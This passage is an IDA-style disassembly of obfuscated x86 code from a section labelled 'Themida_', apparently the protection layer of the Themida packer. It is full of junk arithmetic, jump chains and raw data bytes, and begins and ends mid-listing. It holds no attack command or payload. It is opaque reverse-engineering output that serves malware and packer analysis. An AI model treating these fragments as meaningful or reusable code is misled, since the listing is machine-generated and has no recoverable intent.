		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0AC61E91h
		neg	esi
		add	esi, 49029AF5h
		push	74A7h
		mov	[esp], eax
		push	ebp
		mov	ebp, 77273AEh
		mov	eax, 0EC7C282Fh
		sub	eax, ebp
		jmp	loc_55B24E
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0E95C2404h, 0FFFFABC0h, 3F46C681h, 0C6293620h, 3F46EE81h
		dd 7EE93620h, 89FFFFA5h, 6657242Ch, 0E9110DBFh,	0FFFF7849h
; ---------------------------------------------------------------------------


loc_561C4C:				; CODE XREF: Themida_:00565D9Cj
		pop	esi


loc_561C4D:				; CODE XREF: Themida_:0055AD57j
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		sub	ebp, 2AB449AAh
		add	ebp, ecx
		add	ebp, 2AB449AAh
		pop	ecx
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_55895E
; ---------------------------------------------------------------------------


loc_561C76:				; CODE XREF: Themida_:005570C0j
		mov	[esp], ebp
		jmp	loc_55E7E2
; ---------------------------------------------------------------------------
		dw 8EB2h
		dd 504AE280h, 0E8C095B0h, 1CF65006h, 24048B24h,	0FF984EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561C95:				; CODE XREF: Themida_:0056521Cj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55D5F9
; ---------------------------------------------------------------------------


loc_561CA6:				; CODE XREF: Themida_:005558DDj
		add	ebx, esi
		add	ebx, 550822F3h
		mov	esi, [esp]
		jmp	loc_55A64E
; ---------------------------------------------------------------------------
		dw 0E94Ah
		dd 0FFFF6EBEh, 4C281h, 14870000h, 0F426E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561CCA:				; CODE XREF: Themida_:005566CBj
		push	ebp
		jmp	loc_55D62D
; ---------------------------------------------------------------------------
		dd 51E4F780h, 0FF9602E9h, 0D2C581FFh, 0E9B9A4D6h, 56DBh
		dd 9110B6BAh, 8BD1313Dh, 0C4832414h, 59C80104h,	322DF801h
		dd 5F69D010h, 0D93E956h, 1C870000h, 40E95C24h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561D0B:				; CODE XREF: Themida_:005582BBj
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55FC11
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 4B9515Ah, 0E9000000h, 58C9h
; ---------------------------------------------------------------------------


loc_561D30:				; CODE XREF: Themida_:005675F4j
		pop	esp
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 6C9E17BCh
		and	ecx, 201F1231h
		push	ebp
		mov	ebp, 0C5B282Ch
		shr	ebp, 3
		inc	ebp
		shl	ebp, 2
		jmp	loc_55A618
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 8904EC83h, 44B9240Ch, 5354D677h, 3CE368h
		dd 24048900h, 49A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_561D79:				; CODE XREF: Themida_:00564B17j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_5614E9
; ---------------------------------------------------------------------------
		dd 448BED81h, 0EA0159AFh, 4175E95Dh, 8950FFFFh,	405E0h
		dd 0D8E90000h, 5F000029h, 0EC83DFF7h, 242C8904h, 0FFFFFFBDh
		dd 0F6EF81FFh, 0E9669A18h, 3315h
; ---------------------------------------------------------------------------


loc_561DBC:				; CODE XREF: Themida_:005627C8j
		and	ecx, 5896320Bh
		push	ebp
		mov	ebp, 0FFFDFFF9h
		jmp	loc_560EA9
; ---------------------------------------------------------------------------


loc_561DCD:				; CODE XREF: Themida_:0056528Aj
		not	esi
		sub	esi, 0C5E68F51h
		jmp	loc_560403
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 685BDA01h, 39F7h,	57241C89h, 2BFh, 50BCE900h
		db 2 dup(0)
word_561DF6	dw 34FFh		; DATA XREF: Themida_:00552AACo
		dd 2434FF24h, 1DC4E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561E02:				; CODE XREF: Themida_:00553312j
		xor	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_564619
; ---------------------------------------------------------------------------
		db 53h
		dd 870EF0BBh, 5BD92129h, 5061C181h, 0E181278Eh,	352E2CB8h
		dd 0FF3ED3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561E29:				; CODE XREF: Themida_:00552FFBj
		sub	ebp, 45195414h
		add	edi, ebp
		pop	ebp
		sub	edi, 0C4092F0Ch
		add	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xor	eax, [esp]
		jmp	loc_55EA79
; ---------------------------------------------------------------------------


loc_561E4C:				; CODE XREF: Themida_:00557180j
		mov	eax, esi
		pop	esi
		add	eax, 1ACC5CB7h
		xor	eax, 0BE0F02FEh
		mov	ebx, eax
		pop	eax
		neg	ebx
		sub	ebx, 0FFFFFFFFh
		not	ebx
		shr	ebx, 4
		sub	ebx, 2609799h
		add	ebp, ebx
		jmp	loc_55A632
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 78E9525Dh
		db 0A1h, 2 dup(0FFh)
byte_561E7F	db 66h			; DATA XREF: Themida_:00552AA8o
		dd 51240C8Bh, 0C181E189h, 4, 4BF57h, 0F9290000h, 240C875Fh
		dd 2414895Ch, 5C34E9h, 5AD03000h, 8058C328h, 39E92EEBh
		dd 88FFFF3Eh, 0E4805AF4h, 0FDF480FBh, 32F6E9h, 59FCB900h
		dd 0E18154DBh, 7DB18C8h, 446FF181h, 0E1817B98h,	54E10084h
		dd 0FE0AE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561EDA:				; CODE XREF: Themida_:005673BAj
		mov	eax, 294419DDh
		mov	esi, 2A94337Eh
		xor	esi, eax
		jmp	loc_5573F8
; ---------------------------------------------------------------------------
byte_561EEB	db 0ADh			; DATA XREF: Themida_:00552A60o
		dd 0C4501805h, 57D80129h, 0F27BE955h, 0F004FFFFh, 0F02CD028h
		dd 0E9D82C5Ah, 0FFFF4A23h, 4C181h, 0E9520000h, 66Ah, 8B240C33h
		dd 48F2424h, 0D8E95C24h, 0FFFFFFE5h, 0E95D2434h, 0FFFFA354h
		dd 0FF0C8AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561F31:				; CODE XREF: Themida_:00553AC1j
		shr	esi, 1
		jmp	loc_558033
; ---------------------------------------------------------------------------


loc_561F38:				; CODE XREF: Themida_:00554617j
		mov	edx, 4
		add	ebp, edx
		jmp	loc_55C78A
; ---------------------------------------------------------------------------
		dd 6E9C15Eh, 1A49E9h, 243C8900h, 4BFh, 5FFA0100h, 6804C283h
		dd 4F5Ch, 0FF241489h, 0FF042474h, 835A2434h, 2C8904ECh
		dd 81E58924h, 4C5h, 4C58300h, 2953E9h
		db 0
; ---------------------------------------------------------------------------


loc_561F81:				; CODE XREF: Themida_:005634C5j
		mov	ecx, [esp]
		jmp	loc_552E2A
; ---------------------------------------------------------------------------
		db 80h,	0E6h, 57h
		dd 30AEC680h, 14A6E9F5h, 0D830FFFFh, 0FF2F31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561F9D:				; CODE XREF: Themida_:0055EE82j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_566AE4
; ---------------------------------------------------------------------------


loc_561FB6:				; CODE XREF: Themida_:00561426j
		push	eax
		mov	eax, 0D11CD24Bh
		xor	edx, eax
		pop	eax
		xor	eax, edx
		pop	edx
		add	eax, 2B976CA0h
		jmp	loc_55D969
; ---------------------------------------------------------------------------


loc_561FCC:				; CODE XREF: Themida_:005609E3j
		mov	edx, 195A6929h
		mov	edi, edx
		pop	edx
		jmp	loc_55D55A
; ---------------------------------------------------------------------------


loc_561FD9:				; CODE XREF: Themida_:0055DA1Aj
		sub	bl, 99h
		add	bl, 0Fh
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_55CC73
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 5155E389h, 680E9968h, 0EBE9597Ah
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561FFF:				; CODE XREF: Themida_:00555D98j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55D520
; ---------------------------------------------------------------------------
		db 5Dh,	52h, 0E9h
		dd 0FFFF9FD9h
; ---------------------------------------------------------------------------


loc_562014:				; CODE XREF: Themida_:0055D8BEj
		mov	edi, 12012497h
		jmp	loc_55EF5A
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 240C8702h, 6624248Bh, 2404B30Fh, 0B89E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562032:				; CODE XREF: Themida_:0056587Ej
		pop	esi
		sub	eax, 29912E4h
		add	eax, edi
		jmp	loc_55A69A
; ---------------------------------------------------------------------------


loc_56203F:				; CODE XREF: Themida_:005584E7j
		sub	dl, 0C2h
		jmp	loc_55876F
; ---------------------------------------------------------------------------
		db 89h
		dd 3ABD242Ch, 817B6750h, 3A0C04CDh, 0E9EDD125h,	550Ah
		dd 0F604C483h, 6AB252D4h, 0C2FECAFEh, 0FFE7CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56206D:				; CODE XREF: Themida_:005655C5j
		mov	[esp], ebp
		jmp	loc_565295
; ---------------------------------------------------------------------------
		db 0BAh, 0E9h, 1Ah
		dd 0B9512398h, 18872F2h, 8246C81h, 4EAA5A66h, 492E9h, 7BA36800h
		dd 51E90000h, 87FFFF46h, 0A2E681FEh, 8112703Eh,	0DA21DAEEh
		dd 4BDFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5620AA:				; CODE XREF: Themida_:005635F2j
		neg	ecx
		jmp	loc_55564A
; ---------------------------------------------------------------------------
		db 66h,	1, 0C3h
		dd 8904EC83h, 0E389241Ch, 4C381h, 0EB830000h, 241C8704h
		dd 0E924248Bh, 0FFFFAE5Bh
; ---------------------------------------------------------------------------


loc_5620D0:				; CODE XREF: Themida_:00553E7Dj
		push	ebx
		jmp	loc_564179
; ---------------------------------------------------------------------------


loc_5620D6:				; CODE XREF: Themida_:005672C3j
		pop	edi
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		not	esi
		xchg	esi, [esp]
		mov	eax, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_552DBA
; ---------------------------------------------------------------------------
		dd 58C2085Bh, 6806E2C0h, 0B99h,	0B3241C89h, 5BDA3026h
		dd 0BCE9A004h, 8300005Ch, 31E904C5h, 66FFFF39h,	5BDA2858h
		dd 148BD520h, 4DA9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562146:				; CODE XREF: Themida_:0055CD9Aj
		pop	esi
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		pop	edi
		sub	ebx, 17D70D36h
		add	ebx, edi
		push	edx
		mov	edx, 17D70D36h
		add	ebx, edx
		pop	edx
		jmp	loc_5603D9
; ---------------------------------------------------------------------------
		dw 0B468h
		dd 8900007Dh, 4BE2434h,	56000000h, 7A8FB850h, 7ABE6F44h
		dd 29D9E9B6h, 2F23E9C6h, 0EB28FFFFh
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 73C437CAh
		sub	eax, 299C5F6Ch
		push	esi
		mov	esi, 4A27D85Ah
		sub	eax, esi
		pop	esi
		add	ebx, eax
		pop	eax
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 9Fh
		push	ebx
		mov	bh, 53h
		xor	bh, 57h
		xor	bh, 0B4h
		not	bh
		add	bh, 35h
		jmp	loc_55994B
; ---------------------------------------------------------------------------


loc_5621DA:				; CODE XREF: Themida_:0055E546j
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_552F81
; ---------------------------------------------------------------------------
		dw 262Dh
		dd 5E73C11Bh, 0FF66C331h, 9B1E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56220A:				; CODE XREF: Themida_:0055F9E4j
		mov	edi, 33525E20h
		jmp	loc_55C053
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 0E9E68956h, 0FFFF401Ch
; ---------------------------------------------------------------------------


loc_562220:				; CODE XREF: Themida_:0055F450j
		mov	[esp], ebx
		jmp	loc_5657E5
; ---------------------------------------------------------------------------
		dd 1337BD55h, 0E5C148DEh, 81DDF704h, 1ECC8CEDh,	5DEE0172h
		dd 4C681h, 34330000h, 24343124h, 5C243433h, 8904EC83h
		dd 0E789243Ch, 4BD55h, 0EF010000h, 0ECE9555Dh, 5DFFFF52h
		dd 4C581h, 0C5830000h, 242C3304h, 33242C31h, 0E95C242Ch
		dd 0FFFF7149h, 169F6CBFh, 8BFD319Ch, 0C483243Ch, 0AE5DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56228E:				; CODE XREF: Themida_:005635D1j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_567ED4
; ---------------------------------------------------------------------------
		dd 0C1DFF75Ah, 0BE5605EFh, 4735C5CBh, 0DDE9F701h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5622AF:				; CODE XREF: Themida_:00564D15j
		mov	ebx, 0E62ADA18h
		add	ebx, edi
		pop	edi
		jmp	loc_5657B2
; ---------------------------------------------------------------------------


loc_5622BC:				; CODE XREF: Themida_:0055AC92j
		mov	eax, 2DF83169h
		not	eax
		neg	eax
		push	edi
		mov	edi, 13583F2Dh
		and	eax, edi
		pop	edi
		sub	eax, 8F660BE1h
		jmp	loc_563C78
; ---------------------------------------------------------------------------


loc_5622D8:				; CODE XREF: Themida_:0055F1ADj
		add	esp, 4
		xor	ebp, 27E431AFh
		add	edx, 0B5F0BFAh
		add	edx, 1C3A4C97h
		jmp	loc_55ECBC
; ---------------------------------------------------------------------------
		dw 0D629h
		dd 0DBA525Ah, 0E913ED03h, 2082h
; ---------------------------------------------------------------------------


loc_562300:				; CODE XREF: Themida_:005572E7j
		pop	dx
		or	dh, ah
		jmp	loc_556F8F
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 2
		dd 75E9E130h, 89FFFF5Ah, 2DB82404h, 0E97B8E6Bh,	0FFFF0B4Eh
		dd 48CA6850h, 34890000h, 5AE95224h, 1FFFF6Ah, 243C8BFEh
		dd 8104C483h, 4C6h, 9286E900h, 0C281FFFFh, 7188071Fh, 5724048Bh
		dd 0C781E789h, 4, 0FF25ABE9h, 4C683FFh,	5C243487h, 0FF110FE9h
		dd 241C8BFFh, 8304C483h, 1C8904ECh, 44FBBB24h, 3FE960DEh
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56237B:				; CODE XREF: Themida_:00556687j
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		push	643267E2h
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 137812ADh
		not	ecx
		jmp	loc_5616B7
; ---------------------------------------------------------------------------
byte_56239B	db 30h			; DATA XREF: Themida_:005529ACo
		dd 14322414h, 6472E924h, 0E789FFFFh, 4C781h, 0BE560000h
		dd 4, 3151E9h, 2434FF00h, 149AE9h, 24248B00h, 8B24048Fh
		dd 34FF2424h, 9606E924h, 0C209FFFFh, 81DAF758h,	0D8769CF2h
		dd 0FEF28159h, 89D1D4F4h, 3BE95AD1h, 81000000h,	342E03EAh
		dd 6AC28173h, 8135D458h, 0F53820EAh, 5ECA8166h,	0E9223110h
		dd 218Dh, 0D907ACBFh, 0E5C78139h, 81626A10h, 0E03FE6EFh
		dd 1BB0E93Bh, 14300000h, 795E924h, 0CF01FFFFh, 0FFAD68E9h
		dd 0E9FB29FFh, 4909h, 0E9241C89h, 9Fh, 5A968h, 24148900h
		dd 0C281E289h, 4, 0FF413AE9h, 4EB83FFh,	0FF8445E9h, 0B3E953FFh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56245F:				; CODE XREF: Themida_:0055C6F5j
		and	edx, 185E0888h
		xor	edx, 69DE4CF8h
		sub	eax, 5A2B0BB9h
		sub	eax, edx
		add	eax, 5A2B0BB9h
		mov	edx, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_5542D7
; ---------------------------------------------------------------------------
		dw 454Dh
		dd 0F14ED81h, 1AE95A76h, 100003Dh, 0C7835DEFh, 243C8704h
		dd 0E924248Bh, 0FFFFB75Ch, 48BF575Dh, 525E9A5Ah, 80867BAh
		dd 0E9D00140h, 0FFFF4F51h, 4C281h, 0EC830000h, 14BCE904h
		dd 58660000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_563B0E
; ---------------------------------------------------------------------------
aZLISxr		db '┤<$▀$$┴<$И∙R',0
		dw 8100h
		dd 2135242Ch, 815E43F7h, 0F72135C6h, 4E95B43h, 5500000Ch
		dd 0FF52F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5624F5:				; CODE XREF: Themida_:005640F6j
		mov	esi, eax
		jmp	loc_55E19E
; ---------------------------------------------------------------------------
		dd 0E95AD701h, 0FFFF2CEDh, 88BA525Dh, 815BA80Dh, 0D3401F2h
		dd 6C2816Fh, 31E8FD09h,	2DE95AD6h, 29FFFFE4h, 5308244Ch
		dd 0AA5A66BBh, 245C014Eh, 0C8B5B0Ch, 4C48124h, 0E9000000h
		dd 0FFFF7320h
; ---------------------------------------------------------------------------


loc_56253C:				; CODE XREF: Themida_:005632EEj
		mov	edx, [esp]
		jmp	loc_5531A8
; ---------------------------------------------------------------------------


loc_562544:				; CODE XREF: Themida_:0055955Dj
		mov	edi, 1F662E69h
		jmp	loc_558C8F
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 0CBE95C24h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562557:				; CODE XREF: Themida_:00563AD2j
		pop	ebx
		jmp	loc_56589E
; ---------------------------------------------------------------------------


loc_56255D:				; CODE XREF: Themida_:0056036Aj
		push	6E98h
		mov	[esp], edx
		jmp	loc_55C827
; ---------------------------------------------------------------------------


loc_56256A:				; CODE XREF: Themida_:0055E1B9j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_559ABF
; ---------------------------------------------------------------------------
		dw 2BAh
		dd 1000000h, 2434FFD1h,	0FF48D5E9h, 8DE959FFh
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562593:				; CODE XREF: Themida_:0055688Cj
		mov	edx, [esp]
		add	esp, 4
		push	20C1h
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 13475D0Ch
		inc	ebx
		jmp	loc_55C6FA
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0B1E9565Ch, 8900000Ch, 2B9240Ch, 1000000h, 348759CEh
		dd 4285C24h, 0E4E99C24h
		db 5, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5625D7:				; CODE XREF: Themida_:0055B485j
		add	esp, 4
		sub	esp, 4
		jmp	loc_55C2D5
; ---------------------------------------------------------------------------


loc_5625E5:				; CODE XREF: Themida_:0055909Aj
		add	edx, 6B806E0Eh
		jmp	loc_5664E5
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F58h,	0E924248Bh, 0FFFFDF0Ah
; ---------------------------------------------------------------------------


loc_562600:				; CODE XREF: Themida_:00562B17j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_556F87
; ---------------------------------------------------------------------------
		dw 9068h
		dd 89000012h, 4BD242Ch,	53000000h, 0C381E389h, 4, 4EB81h
		dd 0EDE90000h, 0FFFFFFBEh, 59042474h, 8B24048Fh, 0F6682424h
		dd 89000020h, 4BE2434h,	1000000h, 0C2815EF2h, 4, 0FFEABDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562655:				; CODE XREF: Themida_:00558C69j
		mov	edx, 4
		add	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_56286C
; ---------------------------------------------------------------------------
		dw 6659h
		dd 44E930FFh, 89FFFF05h, 4C381E3h, 83000000h, 1C8704C3h
		dd 3E95C24h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56268B:				; CODE XREF: Themida_:00555898j
		mov	esi, 52847C49h
		inc	esi
		sub	esi, 0DA83C874h
		add	ebx, esi
		jmp	loc_560959
; ---------------------------------------------------------------------------


loc_56269E:				; CODE XREF: Themida_:00559015j
		xchg	ebp, [esp]
		pop	esp
		push	2C72h
		jmp	loc_55F3A0
; ---------------------------------------------------------------------------
		dd 42474FFh, 0F56DE958h, 0BF66FFFFh, 66510EBAh,	66212FB9h
		dd 55D8E181h, 73E98166h, 66416603h, 0AAE9F181h,	59CF0166h
		dd 0B3F78166h, 0C38166C8h, 29664E97h, 0EB8166FBh, 0E95F4E97h
		dd 253h, 8704C783h, 0E95C243Ch,	0FFFF04C3h, 0E95BDF31h
		dd 0FFFF1BF4h
; ---------------------------------------------------------------------------


loc_562700:				; CODE XREF: Themida_:00565764j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5588C4
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0E3h
		dd 0E9593D2Ch, 0FFFF8B1Dh
; ---------------------------------------------------------------------------


loc_562714:				; CODE XREF: Themida_:00567D12j
		sub	edx, 6C5B5DBBh
		sub	ebx, edx
		jmp	loc_55C20D
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 24h
		dd 29EA5DB1h, 5C055FFAh, 2936EF46h, 465C2DD0h, 0C15A36EFh
		dd 80505E0h, 813BE1E6h,	872999EBh, 0C5E2E976h, 3489FFFFh
		dd 81E68924h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 2BF243Ch
		dd 50000000h, 3B133CB8h, 35E0D17Dh, 86E46FB2h, 2B7FEA81h
		dd 0C2290BB0h, 2B7FC281h, 0D3E90BB0h, 0DFFFF1Ch, 3EB12DC2h
		dd 53545B25h, 25CC056Fh, 0C229EFECh, 0F9C28158h, 16AE21Fh
		dd 0F9EA81CAh, 0E96AE21Fh, 0FFFF9077h
; ---------------------------------------------------------------------------


loc_5627AC:				; CODE XREF: Themida_:00565679j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 5E0123A6h
		and	ecx, offset dword_5634B4
		and	ecx, 41302578h
		shl	ecx, 4
		dec	ecx
		jmp	loc_561DBC
; ---------------------------------------------------------------------------
		db 68h,	0A2h, 1Ah
		dd 11E901B4h, 81FFFF48h, 0C02358C6h, 18EE8114h,	810FED19h
		dd 23FD4EC6h, 0E9F029C2h, 2BDBh
; ---------------------------------------------------------------------------


loc_5627F0:				; CODE XREF: Themida_:005616BDj
		add	ecx, 5977464Ch
		jmp	loc_553B66
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BD5506E2h, 52073190h, 0FF5E0FE9h, 2C283FFh,	1FBB68h
		dd 24148900h, 1669E9h
		db 0
; ---------------------------------------------------------------------------


loc_562819:				; CODE XREF: Themida_:00562B7Dj
		push	169Ch
		mov	[esp], eax
		push	ebp
		jmp	loc_55D5E6
; ---------------------------------------------------------------------------


loc_562827:				; CODE XREF: Themida_:0055BF0Bj
		mov	eax, [esp]
		jmp	loc_565CC4
; ---------------------------------------------------------------------------


loc_56282F:				; CODE XREF: Themida_:00558107j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5679DB
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 8BB55124h, 0FF6779E9h, 24048BFFh, 4C481h, 54680000h
		dd 8900000Ch, 0EC812414h, 4, 81242489h,	42404h,	0E95A0000h
		dd 0FFFF0C0Eh
; ---------------------------------------------------------------------------


loc_56286C:				; CODE XREF: Themida_:00562669j
		add	edi, 4
		sub	edi, 4
		push	edi
		jmp	loc_560633
; ---------------------------------------------------------------------------


loc_56287E:				; CODE XREF: Themida_:0055E91Cj
		mov	[esp], ecx
		mov	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, ecx
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 572766E7h
		add	[esp+8], eax
		pop	eax
		jmp	loc_566DBB
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4BF24h, 0ACE90000h, 68FFFF35h, 54C2h, 1E03E9h
		db 0
; ---------------------------------------------------------------------------


loc_5628C9:				; CODE XREF: Themida_:0055C52Fj
		sub	esp, 4
		jmp	loc_5634CA
; ---------------------------------------------------------------------------
		dd 4C481h, 0C5010000h, 1FE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5628E1:				; CODE XREF: Themida_:00561A58j
		mov	edi, edx
		pop	edx
		sub	ebp, 0EC0350Bh
		sub	ebp, 287E1B70h
		add	ebp, edi
		add	ebp, 287E1B70h
		push	edx
		mov	edx, 54944A2Eh
		dec	edx
		and	edx, 1A7B7A60h
		inc	edx
		sub	edx, 294D6C62h
		xor	edx, 7CEA73FBh
		add	edx, 749786C7h
		jmp	loc_5649CF
; ---------------------------------------------------------------------------
		db 0BAh, 3Ch, 67h
		dd 0D0311323h, 5A2434FFh, 57585450h, 4B850h, 0C7890000h
		dd 8324048Bh, 0F9E904C4h, 66FFFF18h, 665BDD09h,	372EED81h
		dd 0DB96651h, 0F1816605h, 0BCE91C52h, 8100001Bh, 0AB6EACC5h
		dd 0E9E80143h, 0FFFF3B59h
dword_562964	dd 24048B66h, 81E28952h, 4ECh, 24048900h, 760BB5B8h, 4EC815Dh
					; DATA XREF: Themida_:00552A68o
		dd 0E9000000h, 25FAh
; ---------------------------------------------------------------------------


loc_562984:				; CODE XREF: Themida_:0055DA64j
		mov	eax, 6CDF03DCh
		sub	[esp+8], eax
		pop	eax
		mov	edx, [esp]
		push	edi
		jmp	loc_566821
; ---------------------------------------------------------------------------


loc_562997:				; CODE XREF: Themida_:0055D23Fj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_563127
; ---------------------------------------------------------------------------


loc_5629AB:				; CODE XREF: Themida_:0055A4FBj
		pop	esp
		jmp	loc_55D76F
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 0E9000000h, 0FFFF7308h, 59C8295Ah,	0FF1C23E9h
		dd 0D8C281FFh, 8B4A3744h, 0C481240Ch, 4, 677AEA81h, 0E953BA85h
		dd 0FFFF48D7h, 348BF731h, 0E9545724h, 0FFFFA29Ch
; ---------------------------------------------------------------------------


loc_5629F0:				; CODE XREF: Themida_:0055D611j
		mov	esi, 4
		jmp	loc_55669F
; ---------------------------------------------------------------------------


loc_5629FA:				; CODE XREF: Themida_:00553882j
		add	edi, 4
		jmp	loc_55BB8C
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 41873E23h, 0FFFFC681h, 0C681FFFFh, 8C008092h, 8DEC781h
		dd 0F7015CE2h, 5714E9h
		db 0
byte_562A21	db 0ACh, 0E9h, 0F0h	; DATA XREF: Themida_:00552988o
		dd 0B8FFFF99h, 61F87758h, 0FF2630E9h, 50ED81FFh, 10238B1h
		dd 0C7815DEFh, 4, 5C243C87h, 8904EC83h,	8DB1240Ch, 0C0C4F180h
		dd 0C98004E1h, 0D4E98046h, 0E959CB28h, 0FFFFF9F9h
; ---------------------------------------------------------------------------


loc_562A60:				; CODE XREF: Themida_:0055D499j
		pop	eax
		sub	eax, 0FFFFFFFFh
		not	eax
		inc	eax
		shr	eax, 3
		neg	eax
		push	58D3h
		mov	[esp], ebp
		mov	ebp, 251F3E35h
		neg	ebp
		add	ebp, 0D1FE7711h
		jmp	loc_5577DE
; ---------------------------------------------------------------------------
aWichf5		db 'W┴ГhF5',0
		align 10h
		dd 0FF89B4E9h, 0B85055FFh, 43445284h, 70E9C589h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562AA3:				; CODE XREF: Themida_:005638A9j
		mov	eax, [esp]
		push	ebp
		jmp	loc_55A1AF
; ---------------------------------------------------------------------------


loc_562AAC:				; CODE XREF: Themida_:0055A63Ej
		xchg	ebp, [esp]
		jmp	loc_55A565
; ---------------------------------------------------------------------------
		dd 0EA295B5Dh, 83242C8Bh, 0B85004C4h, 53FB649Ch, 0E02B8725h
		dd 0FCB9E92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562ACE:				; CODE XREF: Themida_:00566D1Ej
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5592E0
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4EC81h, 34890000h, 835E5424h, 0A6E904ECh,	89FFFFB3h
		dd 4C381E3h, 0E9000000h, 0FFFFC488h
; ---------------------------------------------------------------------------


loc_562B00:				; CODE XREF: Themida_:00564191j
		pop	eax
